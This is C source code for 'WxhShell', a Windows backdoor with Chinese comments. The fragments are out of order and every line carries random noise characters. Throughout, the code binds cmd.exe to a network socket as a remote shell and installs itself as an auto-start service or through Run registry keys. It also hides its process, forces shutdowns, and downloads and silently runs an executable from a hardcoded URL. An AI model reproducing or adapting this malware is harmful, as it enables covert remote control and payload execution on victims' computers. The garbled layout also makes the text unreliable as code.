  case 'd': { z/aZD\[_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !_)*L+7f_  
    if(Boot(SHUTDOWN)) n#,|C`2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hl?G_%a  
    else { U7(84k\j  
    closesocket(wsh); C]K|;VQ  
    ExitThread(0); lO>w|=<  
    } -kT *gIJ}  
    break; E9t[Mb %0  
    } }N!I|<"/  
  // 获取shell j u`x   
  case 's': { x;2tmof=L  
    CmdShell(wsh); u{maE ,  
    closesocket(wsh); 4~=/CaG~  
    ExitThread(0); Q)S0z2  
    break; $+qJ#0OE$  
  } 0q(}nv  
  // 退出 EOWLGleD1  
  case 'x': { p me5frM|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + DFG762  
    CloseIt(wsh); k\X1`D}R  
    break; sui3(wb  
    } q"4{GCavN  
  // 离开 OD 09XO  
  case 'q': { < I[ Vv'x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p =_K P9  
    closesocket(wsh); ;HRIB)wF  
    WSACleanup(); Kf#9-.}?  
    exit(1); S*<+vIo  
    break; 7<['4*u  
        } 1*<m,.$  
  } jh \L)a*  
  } XOK.E&eilj  
Q[J%  
  // 提示信息 F[mL_JU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S,,,D+4  
} uuW._$.A>  
  } `+cc{k  
0w}OE8uq  
  return; ]wCg'EUB  
} f]N2(eM  
kKwb)i  
// shell模块句柄 zI77#AUM  
int CmdShell(SOCKET sock) 8TIc;'bRM  
{ V uZd  
STARTUPINFO si; N 0h* |  
ZeroMemory(&si,sizeof(si)); 'N#,,d/G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H$Om{r1j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R@Ch3l@  
PROCESS_INFORMATION ProcessInfo; X}C }  
char cmdline[]="cmd"; 6?u9hi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H7!j5^  
  return 0; A]^RV{P  
} L5 ~wX  
U 1!6%x  
// 自身启动模式 s 8O"U%  
int StartFromService(void) :^7/+|}9p  
{ 4sOo>.<x  
typedef struct <]#'6'  
{ 7jP C{W  
  DWORD ExitStatus; @%mJw u  
  DWORD PebBaseAddress; YD1 :m3l!  
  DWORD AffinityMask; X,dOF=OJL  
  DWORD BasePriority; iX,| ;J|]  
  ULONG UniqueProcessId; V*HkF T  
  ULONG InheritedFromUniqueProcessId; w4w[qxV>  
}   PROCESS_BASIC_INFORMATION; GqB]^snh  
R+Q..9 P  
PROCNTQSIP NtQueryInformationProcess; !*#2~$:  
I[u%k ir  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $2N)m:X0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uh#"4-v  
HAJK%zLc  
  HANDLE             hProcess; CYD&#+o  
  PROCESS_BASIC_INFORMATION pbi; 8wJfG Y  
;G!JKg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oqeA15k$  
  if(NULL == hInst ) return 0; CtiTXDc_  
$<&N#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <2Q+? L{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1#BMc%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bo.< 4P  
RQ}0f5~t  
  if (!NtQueryInformationProcess) return 0; q5<'pi   
BVAxeXO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +zM WIG  
  if(!hProcess) return 0; 8XFs)1s[  
q^5j&jx Vl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tB-0wD=PR  
Se*o{V3s$  
  CloseHandle(hProcess); N,N9K  
BWRM gN'.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4H@:|  
if(hProcess==NULL) return 0; R0|dKKzS  
h$3o]~t  
HMODULE hMod; 1yHlBeEC  
char procName[255]; K1i@.`na/$  
unsigned long cbNeeded; B.)!zv\{  
53>y<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tS|gQUF17  
RE~9L5i5  
  CloseHandle(hProcess); Z]U"i1lA  
k0[b4cr`  
if(strstr(procName,"services")) return 1; // 以服务启动 'vbrzI5m  
_J' _9M?>  
  return 0; // 注册表启动 Vu6$84>-,  
} A{3VTe4TV  
3.[ fTrzJ  
// 主模块 #6w\r&R6  
int StartWxhshell(LPSTR lpCmdLine) %NH#8#';2  
{ /Z':wu\  
  SOCKET wsl; vRp#bScc  
BOOL val=TRUE; |"t)#BUtL  
  int port=0; 1>5l(zK!9  
  struct sockaddr_in door; 1< 22,  
IY$v%%2WZ  
  if(wscfg.ws_autoins) Install(); L;jzDng<  
:x85:pa  
port=atoi(lpCmdLine); `[.b>ztqgJ  
%ae|4u#b  
if(port<=0) port=wscfg.ws_port; l;+nL[%`  
M1UabqQ  
  WSADATA data; b8Bf,&:ys  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B4fMD]  
(6b*JQ^^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uO=yQ&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hn-+]Y:  
  door.sin_family = AF_INET; {, +,:w7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6M sVV_/  
  door.sin_port = htons(port); 5W%^g_I  
Y z"B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K=S-p3\g  
closesocket(wsl); J3 Y-d7=|  
return 1; k :KN32%  
} b A/,{R  
/=o~7y  
  if(listen(wsl,2) == INVALID_SOCKET) { Pn&!C*,  
closesocket(wsl); DjzHEqiH  
return 1; H > Y0R  
} FBDRbJ su  
  Wxhshell(wsl); F?h{IH f  
  WSACleanup(); uP;qs8  
R ;XG2  
return 0; rf}@16O$'  
WDr C  
} ~f:y^`+Q[  
"e)C.#3  
// 以NT服务方式启动 b-'T>1V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [9}D+k F  
{ >d/DXv 3  
DWORD   status = 0; W>^WNo3YQ$  
  DWORD   specificError = 0xfffffff; '+ %<\.$  
G&2UXr3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q$#5>5&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |->P|1 P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Mg&s*  
  serviceStatus.dwWin32ExitCode     = 0; {DP%=4  
  serviceStatus.dwServiceSpecificExitCode = 0; c;RL<83:  
  serviceStatus.dwCheckPoint       = 0; ;_bZH%o.  
  serviceStatus.dwWaitHint       = 0; O{P@fv%~(o  
`B1r+uTP~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |"gg2p  
  if (hServiceStatusHandle==0) return; ( L{>la!  
)R~l@QBN  
status = GetLastError(); =x_~7 Xc{  
  if (status!=NO_ERROR) CP5vo-/)-  
{ x-hr64WFK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QYS 1.k  
    serviceStatus.dwCheckPoint       = 0; E2hy%y9Tp  
    serviceStatus.dwWaitHint       = 0; NA=I7I@  
    serviceStatus.dwWin32ExitCode     = status; \Uz7ar#,  
    serviceStatus.dwServiceSpecificExitCode = specificError; s2IjZF{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9i^dQV.U=  
    return; \E}YtN#  
  } }3%L3v&  
j'\!p):H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f*(W%#*|  
  serviceStatus.dwCheckPoint       = 0; Q/u2Q;j>  
  serviceStatus.dwWaitHint       = 0; 9Q*T'+V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DK6^\k][V  
} xAZ-_}'tW  
q3_ceXYU  
// 处理NT服务事件,比如:启动、停止 uT\|jv,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w#-J ?/m  
{ @.D1_A  
switch(fdwControl) @2X{e7+D  
{ o+}>E31a  
case SERVICE_CONTROL_STOP: o.o$dg(r!  
  serviceStatus.dwWin32ExitCode = 0; w6Owfq'v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >14 x.c  
  serviceStatus.dwCheckPoint   = 0; }=7? & b  
  serviceStatus.dwWaitHint     = 0; 2:8p>^g=  
  { SJ ay  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t_Q\uo}  
  } G (Ky7S Z  
  return; ! 0}SZ  
case SERVICE_CONTROL_PAUSE: NKyKsu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "ZHA.M]`  
  break; 8.Z9 i  
case SERVICE_CONTROL_CONTINUE: ;z Qrree#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $2><4~T;|A  
  break; j0X Jf<  
case SERVICE_CONTROL_INTERROGATE: >>>&{>}!  
  break; bF"1M#u:  
}; UG~/   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Hp[}sv4)  
} G\PFh&  
]-2Q0wTj  
// 标准应用程序主函数 X5Fi , /H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5`3Wua  
{ uOv0ut\\G  
]b+Nsr~  
// 获取操作系统版本 o`{@':%D`  
OsIsNt=GetOsVer(); ?as1^~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U3-cH  
ua8Burl7  
  // 从命令行安装 VfFXH,j  
  if(strpbrk(lpCmdLine,"iI")) Install(); dEvjB"x  
8TE2q Pm  
  // 下载执行文件 ?TLzOYJp  
if(wscfg.ws_downexe) { xIb"8,N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #GVf+8"  
  WinExec(wscfg.ws_filenam,SW_HIDE); !zW22M  
} "C~Zl&3  
<J o\RUx  
if(!OsIsNt) { ],l}J'.8<V  
// 如果时win9x,隐藏进程并且设置为注册表启动 |z 8Wh  
HideProc(); >u0B ~9_E  
StartWxhshell(lpCmdLine); qF? n&>YG  
} 6");NHE  
else ^77Q4"{W  
  if(StartFromService()) voitdz  
  // 以服务方式启动 I #bta  
  StartServiceCtrlDispatcher(DispatchTable); J+:gIszsWT  
else >s;>"]  
  // 普通方式启动 mE)I(< %  
  StartWxhshell(lpCmdLine); /4 M~ 6LT`  
vxt<}h5J/!  
return 0; +#LD@)G  
} j` 5K7~hv  
P:QSr8K  
<?E~Qc t  
Oe_*(q&  
=========================================== R\MFh!6sn  
~6!TMVr  
5f- eWW]!  
tXg>R _\C  
]7/6u.G7R  
mNDd>4%H_  
" CYH o~VIK  
)d =8)9B  
#include <stdio.h> U^~jB= =]  
#include <string.h> k@=w? m  
#include <windows.h> nf,u'}psdJ  
#include <winsock2.h> _!:*&{  
#include <winsvc.h> .ZVADVg\  
#include <urlmon.h> SMMvRF`7  
i!7|YAu  
#pragma comment (lib, "Ws2_32.lib") lG/h[  
#pragma comment (lib, "urlmon.lib") d>-k-X-[  
KwxO%/-}S  
#define MAX_USER   100 // 最大客户端连接数 AD0pmD  
#define BUF_SOCK   200 // sock buffer (d ?sFwOt\  
#define KEY_BUFF   255 // 输入 buffer |<Rf^"T  
=*'K'e>P3  
#define REBOOT     0   // 重启 zv>7;En3  
#define SHUTDOWN   1   // 关机 Pgo^$xn'6  
V 3yt{3Or  
#define DEF_PORT   5000 // 监听端口 qP4vH]  
gBPYGci2F  
#define REG_LEN     16   // 注册表键长度 Sf"]enwB  
#define SVC_LEN     80   // NT服务名长度 ? f>pKe  
2J1YrHj3  
// 从dll定义API aS)Gj?Odf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W*jwf@ 0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4lsg%b6_%,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UR' P,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rL3 f%L  
d>k"#|  
// wxhshell配置信息 >oasA2S  
struct WSCFG { cms9]  
  int ws_port;         // 监听端口 +-d)/h.7  
  char ws_passstr[REG_LEN]; // 口令 96]!*}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3{FUFx  
  char ws_regname[REG_LEN]; // 注册表键名 L>>Cx`ASi  
  char ws_svcname[REG_LEN]; // 服务名 tv\_& ({  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >og- jz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0hoi=W6AQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U{|WN7Q:A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o^*k   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qrt2BT)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`'Xb  
R A^-Pa.O  
}; rhQv,F9  
k:sFI @g  
// default Wxhshell configuration (N/KP+J$n  
struct WSCFG wscfg={DEF_PORT, SXF~>|h5<  
    "xuhuanlingzhe", c_dg/ !Iu  
    1, :}{,u6\  
    "Wxhshell", @q<F_'7is  
    "Wxhshell", /AhN$)(O  
            "WxhShell Service", Api<q2@R  
    "Wrsky Windows CmdShell Service",  /gUD!@  
    "Please Input Your Password: ", 's7 (^1hH  
  1, {6Qd,CX  
  "http://www.wrsky.com/wxhshell.exe", @yxF/eeEy+  
  "Wxhshell.exe" 8D5v'[j-  
    }; R8n/QCeY{  
0fP-[7P  
// 消息定义模块 N2/t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `zjbyY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lq cHsUFj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d%w#a3(  
char *msg_ws_ext="\n\rExit."; e%K oecq  
char *msg_ws_end="\n\rQuit."; %wk3&EC.  
char *msg_ws_boot="\n\rReboot..."; MFqM 6_  
char *msg_ws_poff="\n\rShutdown..."; Hy| X>Z  
char *msg_ws_down="\n\rSave to "; h&O8e;S#  
2/4,iu(T`c  
char *msg_ws_err="\n\rErr!"; C)v*L#{%  
char *msg_ws_ok="\n\rOK!"; HHXm 4}!;<  
i?D KKjN$  
char ExeFile[MAX_PATH]; CF0i72ul5  
int nUser = 0; 8-uRn38  
HANDLE handles[MAX_USER]; Y>i5ubR~  
int OsIsNt; 6>R|B?I%  
hsEQ6  
SERVICE_STATUS       serviceStatus; R\^XF8n6/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =*Ru 2  
H%^j yGS  
// 函数声明 |xX>AMZc)D  
int Install(void); 3S h#7"K3  
int Uninstall(void); Qk h}=3u  
int DownloadFile(char *sURL, SOCKET wsh); gK+/wTQ%  
int Boot(int flag); BMxe)izT;  
void HideProc(void); ZCuLgCP?Z  
int GetOsVer(void); i3v|r 0O~L  
int Wxhshell(SOCKET wsl); "o6a{KY(  
void TalkWithClient(void *cs); REc+@;B  
int CmdShell(SOCKET sock); R}J}Q b  
int StartFromService(void); X\ bXat+  
int StartWxhshell(LPSTR lpCmdLine); Uk@'[_1z  
V3t;V-Lkt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nLcOz3h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f\]splL  
:$5$H  
// 数据结构和表定义 1$1[6 \3v  
SERVICE_TABLE_ENTRY DispatchTable[] = 22_%u=p-|  
{ hUO&rov3@  
{wscfg.ws_svcname, NTServiceMain}, m\xlSNW'q  
{NULL, NULL} s6+`cC4  
}; ?@LqrKj 11  
\2huDNW& !  
// 自我安装 X^c2  
int Install(void) #Rx|oSc}  
{ iwS55o  
  char svExeFile[MAX_PATH]; |z%:{  
  HKEY key; c3]X#Qa#m$  
  strcpy(svExeFile,ExeFile); 7ElU5I<S  
2ms@CQy(00  
// 如果是win9x系统,修改注册表设为自启动 zc#$hIi  
if(!OsIsNt) { >J,y1jzJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \I[50eh|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .QVZ!  
  RegCloseKey(key); N_^s;Qj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( {}Z '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xG"*w@fs7  
  RegCloseKey(key); eGr;PaG  
  return 0; x-%4-)  
    } TOC2[m c'  
  } ~&\}qz3  
} /CfgxPo  
else { U2TR>0l  
 VsR8|Hn$  
// 如果是NT以上系统,安装为系统服务 k3 S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I2G:jMPy  
if (schSCManager!=0) 4te QG  
{ bWEti}kW  
  SC_HANDLE schService = CreateService e|2@z-Sp-  
  ( RP|/rd]-k  
  schSCManager, \#O}K  
  wscfg.ws_svcname, io{\+%;b~  
  wscfg.ws_svcdisp, [ :*Jn}  
  SERVICE_ALL_ACCESS, 8AgKK=C =  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kD.KZV  
  SERVICE_AUTO_START, jSc!"Trl]  
  SERVICE_ERROR_NORMAL, bxR6@  
  svExeFile, BfOQ/k))  
  NULL, H)VzPe#{  
  NULL, NuQ l  
  NULL, <)am]+Lswy  
  NULL, W0_ pO  
  NULL ;2\+O"}4H  
  ); /.m &rS  
  if (schService!=0) 6! .nj3$*  
  { bjCO@t  
  CloseServiceHandle(schService); >A_:q yGk  
  CloseServiceHandle(schSCManager); 1 |T{RY5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jPc"qER!  
  strcat(svExeFile,wscfg.ws_svcname); eF=cMC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IVdM}"+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9hn+eU  
  RegCloseKey(key); , tb\^  
  return 0; DITo.PU  
    } Ae[Na:G+  
  } g+1&liV  
  CloseServiceHandle(schSCManager); ~>-MVp  
} *JT,]7>  
} Y5,[udF:O  
":!7R<t  
return 1; NcMohpkq  
} ^T&@(|o  
AAW])c`.  
// 自我卸载 /|MHZ$Y9w?  
int Uninstall(void) PqDffZ^z  
{ \{u 9Kc  
  HKEY key; =R6IW,*  
Q!*}^W  
if(!OsIsNt) { |S0nR<x-M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1~aP)q  
  RegDeleteValue(key,wscfg.ws_regname); o4PJ9x5R!  
  RegCloseKey(key); ~4^~w#R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n> tru L  
  RegDeleteValue(key,wscfg.ws_regname); [~&yLccN  
  RegCloseKey(key); ~OSgpM#O!T  
  return 0; 8Z[YcLy"({  
  } `WRM7  
} $s.:H4:I  
} j0`)mR}  
else { K6d2}!5  
,$A'Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {a9( Qi  
if (schSCManager!=0) ' Ih f|;r  
{ z&KrG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JG/Pc1aK  
  if (schService!=0) "&Rt&S  
  { 0(|Yy/Yq  
  if(DeleteService(schService)!=0) { rHaj~s 4  
  CloseServiceHandle(schService); )sZJH9[K  
  CloseServiceHandle(schSCManager); ?DrA@;IB  
  return 0; =8V 9E  
  } \@!"7._=  
  CloseServiceHandle(schService); hH(w O\s  
  } U]AJWC6  
  CloseServiceHandle(schSCManager); |w].*c}Z  
} #T3dfVWv  
} cKED RX3  
!*G%vOa  
return 1; N(Sc!rX  
} +oevNM  
\` U=pZJ  
// 从指定url下载文件 XT%\Ce!  
int DownloadFile(char *sURL, SOCKET wsh) r\T'_wo  
{ /nWBol,  
  HRESULT hr; riv8qg  
char seps[]= "/"; E*AI}:or;  
char *token; hZ`<ID  
char *file; {|{;:_.>  
char myURL[MAX_PATH]; 'zhv#&O  
char myFILE[MAX_PATH]; l9t|@9  
Rl{e<>O\^  
strcpy(myURL,sURL); B&L-Lc2  
  token=strtok(myURL,seps); cw"Ou%  
  while(token!=NULL) s3sPj2e{  
  { / DG  t  
    file=token; %EH{p@nM&-  
  token=strtok(NULL,seps); ~YRG9TK  
  } oH='\M%+  
zQ~ax!}R  
GetCurrentDirectory(MAX_PATH,myFILE); kt2W7.A 5  
strcat(myFILE, "\\"); zI,z<-  
strcat(myFILE, file);  <BiSx  
  send(wsh,myFILE,strlen(myFILE),0); V| &->9"  
send(wsh,"...",3,0); Ji)Ys ebV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !9t,#?!  
  if(hr==S_OK) WCD)yTg:ES  
return 0; z50P* eS  
else 2!Qg1hM  
return 1; ^).  
iY*fp=c9  
} F}~qTF;H  
vzFo"  
// 系统电源模块 0,whTnH|  
int Boot(int flag) Jo''yrJpB  
{ Ji4JP0  
  HANDLE hToken; 8I[=iU7]l  
  TOKEN_PRIVILEGES tkp; Ef$a&*)PH  
43?uTnX/  
  if(OsIsNt) { M;LR$'cP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @1N .;]|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =}g-N)^  
    tkp.PrivilegeCount = 1; Vbv)C3ezD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !nU|3S[b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4;*jE (  
if(flag==REBOOT) { NHiac(&*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H1.ktG  
  return 0; rS8}(lf  
} ykYef  
else { -v! ;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ye S5%?Fk  
  return 0; s}F.D^^G  
} qV0GpVJZU?  
  } wxo*\WLe  
  else { MY}/h@  
if(flag==REBOOT) { #y-R*4G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Du #>y!  
  return 0; Cto>~pV  
} .*edaDi  
else { +ib&6IU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (q@%eor&}  
  return 0; hg2Ywzfm-  
} 2]]}Xvx4#  
} h~lps?.#b  
-AN5LE9-  
return 1; H<3:1*E  
} Vi`P &uPF  
<JIqkGeAi  
// win9x进程隐藏模块 $R%tD.d3  
void HideProc(void) 6of9lO:  
{ S!rVq,| d  
,BFw-A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sJ{r+wY  
  if ( hKernel != NULL ) 8<Pi}RH  
  { ~b @"ir+g4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z((e-T#,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5"y)<VLJX  
    FreeLibrary(hKernel); G.r .Z0  
  } gO{$p q}  
cJf&R^[T  
return; )t((x  
} 85e*um^  
_6!iv  
// 获取操作系统版本 lid0 YK-  
int GetOsVer(void) *j( UAVp  
{ b;FaTm@  
  OSVERSIONINFO winfo; }@"v7X $  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v"o_V|  
  GetVersionEx(&winfo); ep4?;Qmho  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[R`],x`  
  return 1; WcQkeh3n  
  else Po&'#TC1  
  return 0; ,Wtgj=1!.  
} pedyWA>  
T"t.t%(8  
// 客户端句柄模块 qI>,PX  
int Wxhshell(SOCKET wsl) yuC|_nL  
{ k!bG![Ie|  
  SOCKET wsh; Yxy!&hPLv:  
  struct sockaddr_in client; 9oIfSr,y  
  DWORD myID; Sk:x.oOZ  
bI^F (  
  while(nUser<MAX_USER) -Kw7! =_ g  
{ [nG[ x|;|  
  int nSize=sizeof(client); ?9%$g?3Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tq SjL{l%  
  if(wsh==INVALID_SOCKET) return 1; X#Ob^E%J  
v,Zoy|Lu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [kTckZv  
if(handles[nUser]==0) nch#DE8 2  
  closesocket(wsh); Khl0~  
else 1/,~0N9  
  nUser++; r9*6=*J|  
  } 65nK1W`i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EEMRy  
E62_k 0q  
  return 0; Ls+vWfF=#  
} ej7L-~lxQ  
9R">l5u  
// 关闭 socket 4 L 5$=V  
void CloseIt(SOCKET wsh) &O#1*y Z  
{ RP^vx`9h  
closesocket(wsh); QyY<Zi;6  
nUser--; sgnc$x"  
ExitThread(0); _8ks`O#}  
} nN^lY=3  
< 2fy(9y  
// 客户端请求句柄 =**Q\ Sl  
void TalkWithClient(void *cs) %%#bTyF  
{ ;.<HpDfG_  
ZmycK:f  
  SOCKET wsh=(SOCKET)cs; Jz*A!Li  
  char pwd[SVC_LEN]; |Qb@.  
  char cmd[KEY_BUFF]; xj9xUun  
char chr[1]; *K& $9fah  
int i,j; acgx')!c  
dWu;F^  
  while (nUser < MAX_USER) { Lxv6\3I+  
6$kh5$[  
if(wscfg.ws_passstr) { q: X^V$`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3[m2F O,Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tv Zq):c  
  //ZeroMemory(pwd,KEY_BUFF); lon9oraF'  
      i=0; -r]L MQ  
  while(i<SVC_LEN) { 2Q7X"ek~[  
a]Y9;(  
  // 设置超时 :`lP+y?a1  
  fd_set FdRead; }: u-l3e  
  struct timeval TimeOut; ?G<?: /CU  
  FD_ZERO(&FdRead); B&BL<X r  
  FD_SET(wsh,&FdRead); f@$kK?c?  
  TimeOut.tv_sec=8; d'H gek{T  
  TimeOut.tv_usec=0; u#`51Hr$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <>Ha<4A =E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =(Y0wZP|  
jW4>WDN:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P!IXcPKW53  
  pwd=chr[0]; ; xQhq*  
  if(chr[0]==0xd || chr[0]==0xa) { yhI;FNSf  
  pwd=0; xn@oNKD0  
  break; g>#}(u!PH  
  } (9=E5n6o  
  i++; vP+qwvpGr  
    } HV7f%U  
T\ukJ25!  
  // 如果是非法用户,关闭 socket kBnb9'.A1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rlm28  
} 8H T3C\$s  
+F%tBUY{<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ct zW do.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3xmPY.  
`I4E': ZG  
while(1) { F~hH>BH9  
*cCj*Zr]  
  ZeroMemory(cmd,KEY_BUFF); kY6_n4  
'cAS>s"$}V  
      // 自动支持客户端 telnet标准   ykH@kv Qt  
  j=0; 9'e<{mlM  
  while(j<KEY_BUFF) {  =zDvZ(5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ):nC%0V  
  cmd[j]=chr[0]; Xy`'h5  
  if(chr[0]==0xa || chr[0]==0xd) { R3LIN-g(  
  cmd[j]=0; :zvAlt'q=  
  break; ^<uQ9p^B  
  } V]"pM]>3X  
  j++; tA,J~|+f:  
    } HD1/1?y!@q  
WTjmU=<\  
  // 下载文件 vS[\ j  
  if(strstr(cmd,"http://")) { ;Bw3@c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iel@"E 4  
  if(DownloadFile(cmd,wsh)) 9 '(m"c_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "DH>4Q] d  
  else qn,fx6v4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +x/vZXtOK  
  } %`\Qtsape  
  else { DRTT3;,N  
TZ3gJ6 Cb  
